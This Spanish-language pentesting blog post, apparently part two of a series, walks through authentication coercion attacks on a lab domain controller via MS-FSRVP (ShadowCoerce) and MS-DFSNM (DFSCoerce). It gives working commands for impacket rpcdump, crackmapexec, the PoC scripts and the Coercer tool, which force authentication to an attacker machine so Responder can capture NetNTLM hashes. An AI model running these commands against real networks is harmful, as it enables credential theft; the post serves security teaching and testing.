¡Hola de nuevo a todos! Tal y como prometimos, continuamos con la saga de Coerce y en esta segunda parte seguimos comentando sobre otros RPC vulnerables:
MS-FSRVP
MS-FSRVP Es el Remote Procedure Call relacionado con el protocolo de servidor de archivos remotos VSS. Se utiliza para crear copias de recursos compartidos de archivos en un ordenador remoto y para facilitar a las aplicaciones de copia de seguridad la realización de copias de seguridad coherentes con la aplicación y la restauración de datos en recursos compartidos SMB2.
Cabe destacar que, para poder explotar esta vulnerabilidad, es necesario que el servidor tenga habilitado la característica “Servicio del agente VSS del servidor de archivos”.
Cabe destacar que Microsoft saco dos parches de seguridad para su corrección el 14 de junio de 2022.
Comprobación
Al igual que en el caso de MS-RPRN, para comprobar utilizamos rpcdump de impacket si el RPC MS-FSRVP se encuentra habilitado:
python3 rpcdump.py @dc.corp.lab | grep ‘MS-FSRVP’
Cabe destacar que existen más métodos para comprobar si dicho RPC está habilitado mediante otras herramientas y técnicas.
Explotación
Tras comprobar que el RPC denominado como “MS- FSRVP” está habilitado en la víctima, además de haber comprometido un usuario del dominio mediante otras vías, se procederá a la explotación del mismo mediante una PoC denominada como ShadowCoerce la cual tiene asignada el identificador CVE-2022-30154.
Así mismo, para comprobar que se fuerza la autenticación correctamente, haremos uso del usuario “bob” con privilegios limitados en el dominio “dc.corp.lab”.
python shadowcoerce.py -d «CORP» -u «bob» -p «<Password>» attack_machine dc.corp.lab
Se puede observar la captura del hash NetNTLM en la herramienta Responder.
MS-DFSNM
MS-DFSNM es el Remote Procedure Call relacionado con el Sistema de archivos distribuidos (DFS): Protocolo de gestión de espacios de nombres. Proporciona una interfaz RPC para administrar configuraciones DFS.
Comprobación
Al igual que en el caso de MS-EFSR, haremos uso de la herramienta crackmapexec, a través de la ejecución del módulo “dfscoerce” y mediante el uso usuario “bob” con privilegios limitados en el dominio “dc.corp.lab”, para la comprobación de si el servidor es o no vulnerable, pero esta vez con un usuario del dominio previamente comprometido:
crackmapexec smb dc.corp.lab -d «corp.lab» -u «bob» -p «<Password>» -M dfscoerce
Cabe destacar que existen más métodos para comprobar si dicho RPC está habilitado mediante otras herramientas y técnicas.
Explotación
Tras comprobar que el controlador de dominio es vulnerable, se procederá a la explotación de del mismo mediante una PoC denominada como DFSCoerce la cual fue publicada en junio de 2022.
Así mismo, para comprobar que se fuerza la autenticación correctamente, haremos uso del usuario “bob” con privilegios limitados en el dominio “dc.corp.lab”.
python3 dfscoerce.py -d «CORP» -u «bob» -p «<password>» attack_machine dc.corp.lab
Se
puede observar la captura del hash NetNTLM en la herramienta Responder.
Todos para uno y uno para todos
Coercer es una herramienta escrita en python la cual prueba múltiples métodos de realizar una «Coerce Authentication», además de incluir todos los descritos anteriormente.
Tiene tres modos de ejecución, scan, coerce y fuzz. Un ejemplo de ejecución en modo scan sería el siguiente:
coercer scan -t dc.corp.lab -u «bob» -p «<contraseña>» -d «CORP.LAB»
Un ejemplo de ejecución en modo coerce sería el siguiente:
coercer coerce -l attack_machine -t dc.corp.lab -u «bob» -p «<contraseña>» -d «CORP.LAB»
Cheat Sheet